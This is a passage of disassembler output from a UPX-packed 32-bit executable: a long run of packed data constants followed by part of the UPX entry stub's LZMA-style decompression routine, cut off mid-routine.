		dd 2C76144Ch, 0B9DC3564h, 0D1B913Fh, 7DD7541Ah,	57FC8387h
		dd 931E4F37h, 28F41131h, 3C38832Ch, 0DF1BAA5Eh,	44E73DFh
		dd 6AAA78E9h, 7F25BB62h, 4A8C8708h, 2AACECD6h, 0E8769AD2h
		dd 0F2F6D02Eh, 1C175B90h, 0B5A48F88h, 561ABB2h,	4883C2Bh
		dd 0F82BE640h, 0B3A6800Ch, 364D64C0h, 0FF0E581Fh, 0D0B081C2h
		dd 0BB0FBDECh, 92905D8Ah, 0AC0B118Dh, 5836C88Ah, 0DF100FD0h
		dd 0D4A66A63h, 31569261h, 0E501B538h, 74F7822Dh, 795BC4ACh
		dd 0A1F8E0AAh, 8DF03C38h, 70470C2Eh, 0D55C0C75h, 332BF0Ah
		dd 0E9009BF5h, 164B7B77h, 0B534EF91h, 75681A3Fh, 5BAFAE45h
		dd 8EFBBE06h, 0A74360Ch, 1C02D018h, 0FCEADC68h,	26F11EB4h
		dd 0CCBF0F6h, 0FD9B90F5h, 6E1928ECh, 71128122h,	0D2B665EBh
		dd 6EAA8FE9h, 0BEF108BAh, 0A6C10796h, 0A60C409Dh, 31E52C6Ch
		dd 0D9BB8953h, 66928E73h, 0BE95672Eh, 0C25662AFh, 2B2B85EFh
		dd 8601828Ch, 151ED74Ah, 756A8CA3h, 4BEA89E7h, 8E9C7928h
		dd 0D755A361h, 0D51F41C0h, 0EEE8009Fh, 0C2DAA734h, 453442Ch
		dd 413BA29Dh, 7DF02776h, 0B221A923h, 48D6DEF3h,	2385241Eh
		dd 3A2800CFh, 3BEF7035h, 6A65A687h, 6E9008B2h, 76D88EAAh
		dd 8DA25D7Ch, 776DF2C1h, 140D5F37h, 7AC26CF3h, 0D06D798Dh
		dd 7CF8ED2Ch, 7B9DBA67h, 0C89A647h, 22849A8Bh, 0C0DC4FAAh
		dd 2E518917h, 888A9092h, 0F198868Eh, 3FEBCAB6h,	5DB139A8h
		dd 7A6702BAh, 9C95462Eh, 0D7781A94h, 0B601585Dh, 0E8CF22F2h
		dd 70889074h, 0E5CFFE62h, 0D3F45C03h, 0E7667CB8h, 9B2CAE9Dh
		dd 45E4816Ch, 0FAABC021h, 5FED12FFh, 0AAEEE9F0h, 26D4245Fh
		dd 0D0997140h, 0C3651850h, 424B91C6h, 0D8EFBCAEh, 0AA56C8C3h
		dd 503CD1E4h, 0AF3DC30Ah, 0A32DB016h, 4263E3C3h, 6D2B0F1Dh
		dd 0A60D9BB4h, 52A5C445h, 9206FA35h, 9601A6EDh,	87A1A45Ah
		dd 81DFBC84h, 0A93F1678h, 0C66CFD95h, 0D7CD893Ch, 1464F1F2h
		dd 240983B4h, 3DE51A7Dh, 187D264Eh, 915A01D7h, 0E9441114h
		dd 0A6D9732h, 7ADF4A0Bh, 0C730E203h, 23F8201Dh,	9F99FF8Fh
		dd 8EFA6BCFh, 858E42CAh, 9C742450h, 4B1AD791h, 701CA3A4h
		dd 0A1F347B4h, 0D162583Dh, 0F7016A2Ah, 330AA7F4h, 8575D68Ah
		dd 94CDF35Bh, 0D44EB6EFh, 2C00716Fh, 0AD7041B7h, 972DC7C2h
		dd 900661DCh, 65C97A38h, 0A56E2956h, 4A9C44F7h,	214A8470h
		dd 62D4E26h, 66634F89h,	92D7CA4Fh, 0BF7C18B9h, 0F2C0E4F9h
		dd 0B600824Dh, 2A9F42DDh, 8DF62AC9h, 0EB35DC07h, 0DDAC42C2h
		dd 8FD2D5D2h, 79F4559Ch, 50EE3A66h, 0B7907B65h,	8C252ADh
		dd 8D12D5D3h, 577E7240h, 0E72AFD20h, 0A0470DDAh, 5D9681F9h
		dd 69FD0FC7h, 0A3957C15h, 0AD9E78B9h, 115C8AFBh, 0FE8DBB43h
		dd 0EC0AE769h, 0E262A964h, 0D02F7A5Fh, 0E91394DDh, 251DF9F0h
		dd 1FF54E68h, 165D6EB2h, 0E8F32AEEh, 0B89FDADFh, 9B79BE07h
		dd 0FEE39792h, 8A5B4E2Ah, 0F8FC247Ah, 0CEF2CE0Ah, 0BE5CF392h
		dd 0C3B43F99h, 0C840A244h, 0D6233467h, 8C8B256h, 0AA4E1E0Ch
		dd 94AE25BDh, 6821434Ah, 349591C3h, 0FE39EB4Bh,	18D73138h
		dd 779631C5h, 0EC02740Eh, 4ECBD9FDh, 256FA6C9h,	0E9DCFBC9h
		dd 3FA4D15Eh, 905F3335h, 1176319Ah, 7EB47AD9h, 1FBCB49Dh
		dd 38F5140Dh, 0B4ADE4F6h, 0B9B43D2Ah, 830402B9h, 51F576FFh
		dd 0BB1726EFh, 0FEF11209h, 0E3E63F83h, 237B9FB9h, 240A0079h
		dd 0EF5ECAEDh, 93D67F3Dh, 83A205AAh, 60DB16BFh,	0F61C4DC6h
		dd 20BE901Bh, 9CA0620Eh, 3679F859h, 0D7FE7571h,	5E676A1Dh
		dd 2631F9C4h, 0F52D533Fh, 1902AEC7h, 0F71CF8EBh, 0BE856D94h
		dd 3C9B0929h, 1C1648BBh, 0AF1CBDF2h, 0FF0DE045h, 0C747A647h
		dd 232326DAh, 2FC66ADAh, 7196E1D0h, 0A2B43D5Eh,	522BB865h
		dd 6F5278D5h, 0FDBB58A7h, 2A964560h, 4521573Bh,	0C6FA3F1Ah
		dd 0A10530B6h, 4BD65FC7h, 6E2DD552h, 0E336F946h, 640A86E3h
		dd 0B39D6D56h, 0DE29962Ch, 0A0C5D06Eh, 8BC4A473h, 5BA6769Ch
		dd 79DA266h, 7B1F1F16h,	56A4D651h, 0AF3CE594h, 0A650B7B7h
		dd 0CFFD54Dh, 15A74035h, 25E28F92h, 0C24EF921h,	3416D8Dh
		dd 3A84D40Dh, 9E7D331Eh, 755E645Bh, 39C17A9Bh, 6A092D09h
		dd 0D17E130Eh, 1E3CECB6h, 0B1966A72h, 23658565h, 36358509h
		dd 638C399Ch, 4F532695h, 0BF4676Ch, 0BE69678Dh,	61F2AD27h
		dd 3BF2D30Dh, 0D283FF18h, 0C678BD9Ch, 21ED28AFh, 6FA03651h
		dd 0F03A76B1h, 0E9A5FB9Bh, 828360A8h, 0FF5C196Dh, 0B66FE535h
		dd 0EDF7CC5Eh, 990FE045h, 0CA16D152h, 70DD4241h, 0A234A39Ah
		dd 0B511DAB6h, 0A427F1EEh, 6398A2AAh, 760140DEh, 0E3BA48C7h
		dd 6F0403EDh, 16D39ED0h, 8BE36087h, 9434FB36h, 7863F52Eh
		dd 57AA3F34h, 0A0F239A6h, 0F4DDBB85h, 3BBFD30h,	9AF69AD5h
		dd 595D0A73h, 1AD8C96Ch, 33D3A716h, 2774D978h, 0A290E6A0h
		dd 51245435h, 0B20D733Ch, 717998BAh, 69FB2033h,	0CADC83FAh
		dd 69788C8h, 204849D9h
		dd 0CD2E3744h, 6A7244CCh, 6CA1B3F0h, 0D55134ACh, 4220139Bh
		dd 893DB5C1h, 0A7E2B99Fh, 4D96DCCEh, 0F9AC349Fh, 7E87BB4Fh
		dd 14E0E04Ah, 7BBDC910h, 7A9467C3h, 0D72B9A04h,	24170110h
		dd 5AF42D1Ch, 0ED1BD028h, 29837302h, 3B9D4CB3h,	43314863h
		dd 0D1E57C11h, 0A008974h, 0BF9335A1h, 0D55CAA8Dh, 0AB3285F2h
		dd 0D0FD55B2h, 8623D58Fh, 96024362h, 0B26CB477h, 0E431956Ch
		dd 1C4711B6h, 0E070A541h, 42BBE3C3h, 805D2FA6h,	0EDABDE5Ah
		dd 7665D041h, 0A82A0113h, 0EDF77A94h, 9033D7AEh, 7ABD6748h
		dd 0AD6D062Eh, 0F1388A70h, 31E2AA25h, 9AA82C6Ch, 0DD069E1Ch
		dd 43A04FEEh, 2B58AC9Bh, 7AFE6B69h, 0C3E77F0Ah,	48A80524h
		dd 0CD2FBE6Bh, 67E93835h, 47C185C0h, 0FB2B3090h, 726B683Eh
		dd 8FAA20FEh, 0A45FCBA4h, 0EA0D2AC7h, 4122DFE7h, 0E4CB6F6Dh
		dd 2E43877Fh, 861023BEh, 580C112h, 1B73EE43h, 18C8D014h
		dd 6D604DCCh, 0DFCBC4F2h, 9821E14Ch, 0A007FD86h, 2F638125h
		dd 0A0206805h, 8C556267h, 0B1E0A495h, 0EE537D33h, 3CAF78B4h
		dd 9B0A2B5Dh, 0F270B3B6h, 0D46D7DD6h, 96417D4Eh, 31CA758h
		dd 0A7851C68h, 96AD3137h, 6E7AD67Ch, 7FBDABFh, 2B392A08h
		dd 64172415h, 0CF36C9E8h, 749129B2h, 33C55D1Fh,	6696B686h
		dd 0C4AE3DB8h, 4EBAB837h, 0C3156B74h, 8CC6D95Dh, 0C14E7700h
		dd 6A614AE5h, 5CF6E558h, 9E75660Fh, 9852D9B0h, 0D3404F4h
		dd 236EB262h, 5F2DF985h, 971C14C2h, 8B5427D8h, 0DAA4E8Bh
		dd 5C07A8FAh, 0D0D4844Dh, 8C90F5A9h, 0E24F3A37h, 66FEEA03h
		dd 5FB12A2Dh, 0FA895351h, 0B45CC51Dh, 0A18D959Dh, 186E1CB5h
		dd 0E7ADDD81h, 0E5D5839Fh, 0FB94BA98h, 643120E2h, 0F7850DA1h
		dd 70583CEEh, 94BC348Bh, 0A1512660h, 0F6B9A73Eh, 0D29F44FDh
		dd 7C89EAE5h, 821DD3B0h, 0CCF12F2Ah, 0C43A1DDCh, 5F9BAB95h
		dd 398A23A3h, 8DC5BEAFh, 5FCFE2B3h, 95807885h, 3744999Ah
		dd 1F359F4Dh, 271CC09h,	2C55414Ch, 66234228h, 0F5628DCCh
		dd 39E95F9Fh, 779CA2h, 26930DE3h, 741C2805h, 9B2713Bh
		dd 82C1B5B0h, 31DC8099h, 31D6EBD7h, 0B8F7A3E2h,	0ECF04FA4h
		dd 0E3229747h, 43AFF2Bh, 71904138h, 0E544256Bh,	9C79D605h
		dd 86281B30h, 0A7AFB38Fh, 0D362DAB9h, 566B21B3h, 0D652C57Dh
		dd 77EC5C3Fh, 2C044F29h, 0BB3C3B17h, 0EDCCCC71h, 47BA9140h
		dd 0E1E7B15Dh, 34FCA603h, 44AC5A35h, 0F8A14828h, 8BFFE891h
		dd 3B9CB4FDh, 0EEEB057Bh, 61DB6524h, 0D3421B9Ch, 0BCDE37A0h
		dd 0E9D231EFh, 7DEFD2BDh, 4FC767ADh, 3A61B3CFh,	85E3DAF2h
		dd 54251FE0h, 0FC185B3Fh, 0BB06F3E0h, 3E7D90D7h, 3F90F346h
		dd 232B408Ch, 580945E3h, 4E100EC8h, 8368C23Fh, 663F1367h
		dd 5A47D558h, 5C356D0Ah, 61E7A03Ch, 80FEED01h, 17C2C44Dh
		dd 5218E8EBh, 0C93C6979h, 2E2D713Bh, 0D3E29908h, 0A9E05388h
		dd 0ED235693h, 6B9E0A57h, 0DB14939Dh, 0AA3C94Ch, 0AD96F00Eh
		dd 8D7C4680h, 0C599FC19h, 0D7EA0B56h, 997C5B10h, 3534D5FAh
		dd 3DCB9896h, 4AAD713Ah, 826DAED9h, 0C6CF12F5h,	0DF9BD779h
		dd 371BA59Dh, 0A2BFCED9h, 0D7DF5A9h, 0A882D4B5h, 751F42D2h
		dd 0E6518441h, 45A69FCDh, 0A9AD7261h, 30FD0C2h,	330D2204h
		dd 85A90AF9h, 0B53BC9D8h, 0D32817F9h, 0E9E6CB79h, 6571E5ABh
		dd 10349FEEh, 1AABA8D2h, 3079BA9Ch, 0D8523928h,	3C9617B1h
		dd 0F545B0FCh, 0FBD0F2E9h, 0EE3401EEh, 0A71BD330h, 29D2963Fh
		dd 63522F77h, 6EB0B84Dh, 2EE81AD5h, 0BAF5900Fh,	7A0FAB1h
		dd 0C9D1DB34h, 0D91CB2Ah, 94463F1Eh, 56EAE7E9h,	3FC1AE8Fh
		dd 0F42B74D2h, 6B3C835h, 0C898059Fh, 5733A225h,	0E5F7691Ch
		dd 9FEB6E79h, 77CCD9B3h, 0CF70F380h, 79A820F4h,	90606417h
		dd 87D314FBh, 0A1DB3F83h, 781144BDh, 0D0F9BCE5h, 0D02E5CD8h
		dd 0BD04569Fh, 0EF6DFE40h, 405FCAC4h, 0EF19C38Ah, 53C3B387h
		dd 269B87DCh, 7E7B1F77h, 0F3E5D312h, 1BB05996h,	0F6DF7250h
		dd 33A946ABh, 3382DECh,	0C35D0354h, 0EFBD9FE2h,	0D24F2593h
		dd 3CAFB647h, 9547E31Ah, 35E79A7Ah, 963016A2h, 60D9C44Ch
		dd 19F35B3Eh, 7F7FD6CCh, 9FBA8219h, 0F23D74E9h,	0F3D5EDA8h
		dd 1F41E047h, 7225E22Ah, 0F4356693h, 0E2F6B91Bh, 3E80563Dh
		dd 930348E5h, 7244903Ah, 0C1779FB0h, 0AD134064h, 0C670FFBBh
		dd 0C50B9740h, 0DABDD15Ah, 0DC9FE10Ch, 1D02703h, 104568A8h
		dd 350FA9A9h, 0DF65383Eh, 4D50EFBEh, 42B41D54h,	78F35B37h
		dd 93D909B0h, 0A8B8C38Ah, 0AD3DC0CBh, 704C8E1h,	0B3A4710Bh
		dd 4BF14AC6h, 2DB87BB2h, 0E6BCC29Ah, 970FAE8Fh,	0D5E66B7h
		dd 88A70FEDh, 3F34639Ch, 7EE182C6h, 788B6DC1h, 0F66CBEA1h
		dd 2DBD999Dh, 79B88D4Ch, 0C82031FEh, 35D86B54h,	66577E68h
		dd 4B579F83h, 33118264h, 0BDE16185h, 90524C5Ch,	3F4E4CDBh
		dd 0A50031FDh, 45ACB4Bh, 4A6FB71Fh, 83FE988Bh, 8CFFA45Bh
		dd 0F36A4B94h, 8F5D7E0Fh, 6D794F4Fh, 3C5D68EDh,	0C651FFBEh
		dd 0CB70434h, 395C5B04h, 0D72619B3h, 14CB3DAAh,	0DCF5AACEh
		dd 982D4E41h, 0B8F8C367h, 786BA883h, 39016E13h,	65901E56h
		dd 4EF47112h, 0E3B76BC5h, 0A5121861h, 5DEA97D9h, 0CBFA7CECh
		dd 0BF5DCE74h, 4BFDBBEDh, 378E11A8h, 74B3C339h,	84EE4F7Ch
		dd 0CC2C0CB6h, 0C085116Bh, 9D5201h, 0DDB5C7E2h,	28B32A89h
		dd 416492FFh, 698E8EE7h, 952B0CD9h, 63DF8817h, 315D0239h
		dd 5E77A12Fh, 257A161Ah, 7F5D4775h, 0B40393D8h,	177D62BBh
		dd 0C46A9F14h, 4DE6B746h, 0B1A7CE27h, 711B3DBCh, 9F904DFAh
		dd 0CCC2131Ah, 0FA7E114Ah, 0B049h, 2 dup(0)
; ---------------------------------------------------------------------------

		public start
start:
		pusha
		mov	esi, offset dword_431000
		lea	edi, [esi-30000h]
		push	edi
		mov	ebp, esp
		lea	ebx, [esp-3E80h]
		xor	eax, eax


loc_46FE88:				; CODE XREF: UPX1:0046FE8Bj
		push	eax
		cmp	esp, ebx
		jnz	short loc_46FE88
		inc	esi
		inc	esi
		push	ebx
		push	6D06Dh
		push	edi
		add	ebx, 4
		push	ebx
		push	3EE65h
		push	esi
		add	ebx, 4
		push	ebx
		push	eax
		mov	dword ptr [ebx], 3
		nop
		nop
		nop
		nop
		nop
		push	ebp
		push	edi
		push	esi
		push	ebx
		sub	esp, 7Ch
		mov	edx, [esp+90h]
		mov	dword ptr [esp+74h], 0
		mov	byte ptr [esp+73h], 0
		mov	ebp, [esp+9Ch]
		lea	eax, [edx+4]
		mov	[esp+78h], eax
		mov	eax, 1
		movzx	ecx, byte ptr [edx+2]
		mov	ebx, eax
		shl	ebx, cl
		mov	ecx, ebx
		dec	ecx
		mov	[esp+6Ch], ecx
		movzx	ecx, byte ptr [edx+1]
		shl	eax, cl
		dec	eax
		mov	[esp+68h], eax
		mov	eax, [esp+0A8h]
		movzx	esi, byte ptr [edx]
		mov	dword ptr [ebp+0], 0
		mov	dword ptr [esp+60h], 0
		mov	dword ptr [eax], 0
		mov	eax, 300h
		mov	[esp+64h], esi
		mov	dword ptr [esp+5Ch], 1
		mov	dword ptr [esp+58h], 1
		mov	dword ptr [esp+54h], 1
		mov	dword ptr [esp+50h], 1
		movzx	ecx, byte ptr [edx+1]
		add	ecx, esi
		shl	eax, cl
		lea	ecx, [eax+736h]
		cmp	[esp+74h], ecx
		jnb	short loc_46FF62
		mov	eax, [esp+78h]


loc_46FF58:				; CODE XREF: UPX1:0046FF60j
		mov	word ptr [eax],	400h
		add	eax, 2
		loop	loc_46FF58


loc_46FF62:				; CODE XREF: UPX1:0046FF52j
		mov	ebx, [esp+94h]
		xor	edi, edi
		mov	dword ptr [esp+48h], 0FFFFFFFFh
		mov	edx, ebx
		add	edx, [esp+98h]
		mov	[esp+4Ch], edx
		xor	edx, edx


loc_46FF82:				; CODE XREF: UPX1:0046FF99j
		cmp	ebx, [esp+4Ch]
		jz	loc_470908
		movzx	eax, byte ptr [ebx]
		shl	edi, 8
		inc	edx
		inc	ebx
		or	edi, eax
		cmp	edx, 4
		jle	short loc_46FF82
		mov	ecx, [esp+0A4h]
		cmp	[esp+74h], ecx
		jnb	loc_470910


loc_46FFAC:				; CODE XREF: UPX1:004708EBj
		mov	esi, [esp+74h]
		and	esi, [esp+6Ch]
		mov	eax, [esp+60h]
		mov	edx, [esp+78h]
		shl	eax, 4
		mov	[esp+44h], esi
		add	eax, esi
		cmp	dword ptr [esp+48h], 0FFFFFFh
		lea	ebp, [edx+eax*2]
		ja	short loc_46FFEA
		cmp	ebx, [esp+4Ch]
		jz	loc_470908
		shl	dword ptr [esp+48h], 8
		movzx	eax, byte ptr [ebx]
		shl	edi, 8
		inc	ebx
		or	edi, eax


loc_46FFEA:				; CODE XREF: UPX1:0046FFD0j
		mov	eax, [esp+48h]
		mov	dx, [ebp+0]
		shr	eax, 0Bh
		movzx	ecx, dx
		imul	eax, ecx
		cmp	edi, eax
		jnb	loc_4701E0
		mov	[esp+48h], eax
		mov	eax, 800h
		sub	eax, ecx
		mov	cl, [esp+64h]
		sar	eax, 5
		mov	esi, 1
		lea	eax, [edx+eax]
		movzx	edx, byte ptr [esp+73h]
		mov	[ebp+0], ax
		mov	eax, [esp+74h]
		and	eax, [esp+68h]
		mov	ebp, [esp+78h]
		shl	eax, cl
		mov	ecx, 8
		sub	ecx, [esp+64h]
		sar	edx, cl
		add	eax, edx
		imul	eax, 600h
		cmp	dword ptr [esp+60h], 6
		lea	eax, [ebp+eax+0E6Ch]
		mov	[esp+14h], eax
		jle	loc_470127
		mov	eax, [esp+74h]
		sub	eax, [esp+5Ch]
		mov	edx, [esp+0A0h]
		movzx	eax, byte ptr [edx+eax]
		mov	[esp+40h], eax


loc_470074:				; CODE XREF: UPX1:00470117j
		shl	dword ptr [esp+40h], 1
		mov	ecx, [esp+40h]
		lea	edx, [esi+esi]
		mov	ebp, [esp+14h]
		and	ecx, 100h
		cmp	dword ptr [esp+48h], 0FFFFFFh
		lea	eax, [ebp+ecx*2+0]
		mov	[esp+3Ch], ecx
		lea	ebp, [eax+edx]
		ja	short loc_4700B6
		cmp	ebx, [esp+4Ch]
		jz	loc_470908
		shl	dword ptr [esp+48h], 8
		movzx	eax, byte ptr [ebx]
		shl	edi, 8
		inc	ebx
		or	edi, eax


loc_4700B6:				; CODE XREF: UPX1:0047009Cj
		mov	eax, [esp+48h]
		mov	cx, [ebp+200h]
		shr	eax, 0Bh
		movzx	esi, cx
		imul	eax, esi
		cmp	edi, eax
		jnb	short loc_4700F1
		mov	[esp+48h], eax
		mov	eax, 800h
		sub	eax, esi
		mov	esi, edx
		sar	eax, 5
		cmp	dword ptr [esp+3Ch], 0
		lea	eax, [ecx+eax]
		mov	[ebp+200h], ax
		jz	short loc_470111
		jmp	short loc_47011F
; ---------------------------------------------------------------------------


loc_4700F1:				; CODE XREF: UPX1:004700CCj
		sub	[esp+48h], eax
		sub	edi, eax
		mov	eax, ecx
		lea	esi, [edx+1]
		shr	ax, 5
		sub	cx, ax
		cmp	dword ptr [esp+3Ch], 0
		mov	[ebp+200h], cx
		jz	short loc_47011F


loc_470111:				; CODE XREF: UPX1:004700EDj
		cmp	esi, 0FFh
		jle	loc_470074
		jmp	short loc_470198
; ---------------------------------------------------------------------------


loc_47011F:				; CODE XREF: UPX1:004700EFj
					; UPX1:0047010Fj ...
		cmp	esi, 0FFh
		jg	short loc_470198


loc_470127:				; CODE XREF: UPX1:00470057j
		lea	edx, [esi+esi]
		mov	ebp, [esp+14h]
		add	ebp, edx
		cmp	dword ptr [esp+48h], 0FFFFFFh
		ja	short loc_470152
		cmp	ebx, [esp+4Ch]
		jz	loc_470908
		shl	dword ptr [esp+48h], 8
		movzx	eax, byte ptr [ebx]
		shl	edi, 8
		inc	ebx
		or	edi, eax


loc_470152:				; CODE XREF: UPX1:00470138j
		mov	eax, [esp+48h]
		mov	cx, [ebp+0]
		shr	eax, 0Bh
		movzx	esi, cx
		imul	eax, esi
		cmp	edi, eax
		jnb	short loc_470180
		mov	[esp+48h], eax
		mov	eax, 800h
		sub	eax, esi
		mov	esi, edx
		sar	eax, 5
		lea	eax, [ecx+eax]
		mov	[ebp+0], ax
		jmp	short loc_47011F
; ---------------------------------------------------------------------------


loc_470180:				; CODE XREF: UPX1:00470165j
		sub	[esp+48h], eax
		sub	edi, eax
		mov	eax, ecx
		lea	esi, [edx+1]
		shr	ax, 5
		sub	cx, ax
		mov	[ebp+0], cx
		jmp	short loc_47011F
; ---------------------------------------------------------------------------


loc_470198:				; CODE XREF: UPX1:0047011Dj
					; UPX1:00470125j
		mov	edx, [esp+74h]
		mov	eax, esi
		mov	ecx, [esp+0A0h]
		mov	[esp+73h], al
		mov	[edx+ecx], al
		inc	edx
		cmp	dword ptr [esp+60h], 3
		mov	[esp+74h], edx
		jg	short loc_4701C5
		mov	dword ptr [esp+60h], 0
		jmp	loc_4708E0
; ---------------------------------------------------------------------------


loc_4701C5:				; CODE XREF: UPX1:004701B6j
		cmp	dword ptr [esp+60h], 9
		jg	short loc_4701D6
		sub	dword ptr [esp+60h], 3
		jmp	loc_4708E0
; ---------------------------------------------------------------------------


loc_4701D6:				; CODE XREF: UPX1:004701CAj
		sub	dword ptr [esp+60h], 6
		jmp	loc_4708E0
; ---------------------------------------------------------------------------


loc_4701E0:				; CODE XREF: UPX1:0046FFFDj
		mov	ecx, [esp+48h]
		sub	edi, eax
		mov	esi, [esp+60h]
		sub	ecx, eax
		mov	eax, edx
		shr	ax, 5
		sub	dx, ax
		cmp	ecx, 0FFFFFFh
		mov	[ebp+0], dx
		mov	ebp, [esp+78h]
		lea	esi, [ebp+esi*2+0]
		mov	[esp+38h], esi
		ja	short loc_470223
		cmp	ebx, [esp+4Ch]
		jz	loc_470908
		movzx	eax, byte ptr [ebx]
		shl	edi, 8
		shl	ecx, 8
		inc	ebx
		or	edi, eax


loc_470223:				; CODE XREF: UPX1:0047020Bj
		mov	ebp, [esp+38h]
		mov	eax, ecx
		shr	eax, 0Bh
		mov	dx, [ebp+180h]
		movzx	ebp, dx
		imul	eax, ebp
		cmp	edi, eax
		jnb	short loc_47028F
		mov	esi, eax
		mov	eax, 800h
		sub	eax, ebp
		mov	ebp, [esp+58h]
		sar	eax, 5
		mov	ecx, [esp+54h]
		lea	eax, [edx+eax]
		mov	edx, [esp+38h]
		mov	[esp+50h], ecx
		mov	ecx, [esp+78h]
		mov	[edx+180h], ax
		mov	eax, [esp+5Ch]
		mov	[esp+54h], ebp
		mov	[esp+58h], eax
		xor	eax, eax
		cmp	dword ptr [esp+60h], 6
		setnle	al
		add	ecx, 664h
		lea	eax, [eax+eax*2]
		mov	[esp+60h], eax
		jmp	loc_470503
; ---------------------------------------------------------------------------


loc_47028F:				; CODE XREF: UPX1:0047023Bj
		mov	esi, ecx
		sub	edi, eax
		sub	esi, eax
		mov	eax, edx
		shr	ax, 5
		mov	ecx, [esp+38h]
		sub	dx, ax
		cmp	esi, 0FFFFFFh
		mov	[ecx+180h], dx
		ja	short loc_4702C7
		cmp	ebx, [esp+4Ch]
		jz	loc_470908
		movzx	eax, byte ptr [ebx]
		shl	edi, 8
		shl	esi, 8
		inc	ebx
		or	edi, eax


loc_4702C7:				; CODE XREF: UPX1:004702AFj
		mov	ebp, [esp+38h]
		mov	edx, esi
		shr	edx, 0Bh
		mov	cx, [ebp+198h]
		movzx	eax, cx
		imul	edx, eax
		cmp	edi, edx
		jnb	loc_4703C8
		mov	ebp, 800h
		mov	esi, edx
		sub	ebp, eax
		mov	dword ptr [esp+34h], 800h
		mov	eax, ebp
		sar	eax, 5
		lea	eax, [ecx+eax]
		mov	ecx, [esp+38h]
		mov	[ecx+198h], ax
		mov	eax, [esp+60h]
		mov	ecx, [esp+44h]
		shl	eax, 5
		add	eax, [esp+78h]
		cmp	edx, 0FFFFFFh
		lea	ebp, [eax+ecx*2]
		ja	short loc_470339
		cmp	ebx, [esp+4Ch]
		jz	loc_470908
		movzx	eax, byte ptr [ebx]
		shl	edi, 8
		shl	esi, 8
		inc	ebx
		or	edi, eax


loc_470339:				; CODE XREF: UPX1:00470321j
		mov	dx, [ebp+1E0h]
		mov	eax, esi
		shr	eax, 0Bh
		movzx	ecx, dx
		imul	eax, ecx
		cmp	edi, eax
		jnb	short loc_4703AF
		sub	[esp+34h], ecx
		sar	dword ptr [esp+34h], 5
		mov	esi, [esp+34h]
		mov	[esp+48h], eax
		cmp	dword ptr [esp+74h], 0
		lea	eax, [edx+esi]
		mov	[ebp+1E0h], ax
		jz	loc_470908
		xor	eax, eax
		cmp	dword ptr [esp+60h], 6
		mov	ebp, [esp+0A0h]
		mov	edx, [esp+74h]
		setnle	al
		lea	eax, [eax+eax+9]
		mov	[esp+60h], eax
		mov	eax, [esp+74h]
		sub	eax, [esp+5Ch]
		mov	al, [ebp+eax+0]
		mov	[esp+73h], al
		mov	[edx+ebp], al
		inc	edx
		mov	[esp+74h], edx
		jmp	loc_4708E0
; ---------------------------------------------------------------------------


loc_4703AF:				; CODE XREF: UPX1:0047034Dj
		sub	esi, eax
		sub	edi, eax
		mov	eax, edx
		shr	ax, 5
		sub	dx, ax
		mov	[ebp+1E0h], dx
		jmp	loc_4704E7
; ---------------------------------------------------------------------------


loc_4703C8:				; CODE XREF: UPX1:004702DFj
		mov	eax, ecx
		sub	esi, edx
		shr	ax, 5
		mov	ebp, [esp+38h]
		sub	cx, ax
		sub	edi, edx
		cmp	esi, 0FFFFFFh
		mov	[ebp+198h], cx
		ja	short loc_4703FE
		cmp	ebx, [esp+4Ch]
		jz	loc_470908
		movzx	eax, byte ptr [ebx]
		shl	edi, 8
		shl	esi, 8
		inc	ebx
		or	edi, eax


loc_4703FE:				; CODE XREF: UPX1:004703E6j
		mov	ecx, [esp+38h]
		mov	eax, esi
		shr	eax, 0Bh
		mov	dx, [ecx+1B0h]
		movzx	ecx, dx
		imul	eax, ecx
		cmp	edi, eax
		jnb	short loc_47043B
		mov	esi, eax
		mov	eax, 800h
		sub	eax, ecx
		mov	ebp, [esp+38h]
		sar	eax, 5
		lea	eax, [edx+eax]
		mov	[ebp+1B0h], ax
		mov	eax, [esp+58h]
		jmp	loc_4704DB
; ---------------------------------------------------------------------------


loc_47043B:				; CODE XREF: UPX1:00470416j
		mov	ecx, esi
		sub	edi, eax
		sub	ecx, eax
		mov	eax, edx
		shr	ax, 5
		sub	dx, ax
		mov	eax, [esp+38h]
		cmp	ecx, 0FFFFFFh
		mov	[eax+1B0h], dx
		ja	short loc_470473
		cmp	ebx, [esp+4Ch]
		jz	loc_470908
		movzx	eax, byte ptr [ebx]
		shl	edi, 8
		shl	ecx, 8
		inc	ebx
		or	edi, eax


loc_470473:				; CODE XREF: UPX1:0047045Bj
		mov	esi, [esp+38h]
		mov	eax, ecx
		shr	eax, 0Bh
		mov	dx, [esi+1C8h]
		movzx	ebp, dx
		imul	eax, ebp
		cmp	edi, eax
		jnb	short loc_4704AD
		mov	esi, eax
		mov	eax, 800h
		sub	eax, ebp
		mov	ebp, [esp+38h]
		sar	eax, 5
		lea	eax, [edx+eax]
		mov	[ebp+1C8h], ax
		mov	eax, [esp+54h]
		jmp	short loc_4704D3
; ---------------------------------------------------------------------------


loc_4704AD:				; CODE XREF: UPX1:0047048Bj
		mov	esi, ecx
		sub	edi, eax
		sub	esi, eax
		mov	eax, edx
		shr	ax, 5
		sub	dx, ax
		mov	eax, [esp+38h]
		mov	[eax+1C8h], dx
		mov	edx, [esp+54h]
		mov	eax, [esp+50h]
		mov	[esp+50h], edx


loc_4704D3:				; CODE XREF: UPX1:004704ABj
		mov	ecx, [esp+58h]
		mov	[esp+54h], ecx


loc_4704DB:				; CODE XREF: UPX1:00470436j
		mov	ebp, [esp+5Ch]
		mov	[esp+5Ch], eax
		mov	[esp+58h], ebp


loc_4704E7:				; CODE XREF: UPX1:004703C3j
		xor	eax, eax
		cmp	dword ptr [esp+60h], 6
		mov	ecx, [esp+78h]
		setnle	al
		add	ecx, 0A68h
		lea	eax, [eax+eax*2+8]
		mov	[esp+60h], eax


loc_470503:				; CODE XREF: UPX1:0047028Aj
		cmp	esi, 0FFFFFFh
		ja	short loc_470521
		cmp	ebx, [esp+4Ch]
		jz	loc_470908
		movzx	eax, byte ptr [ebx]
		shl	edi, 8
		shl	esi, 8
		inc	ebx
		or	edi, eax


loc_470521:				; CODE XREF: UPX1:00470509j
		mov	dx, [ecx]
		mov	eax, esi
		shr	eax, 0Bh
		movzx	ebp, dx
		imul	eax, ebp
		cmp	edi, eax
		jnb	short loc_470562
		mov	[esp+48h], eax
		mov	eax, 800h
		sub	eax, ebp
		shl	dword ptr [esp+44h], 4
		sar	eax, 5
		mov	dword ptr [esp+2Ch], 0
		lea	eax, [edx+eax]
		mov	[ecx], ax
		mov	eax, [esp+44h]
		lea	ecx, [ecx+eax+4]
		mov	[esp+10h], ecx
		jmp	short loc_4705D4
; ---------------------------------------------------------------------------


loc_470562:				; CODE XREF: UPX1:00470531j
		sub	esi, eax
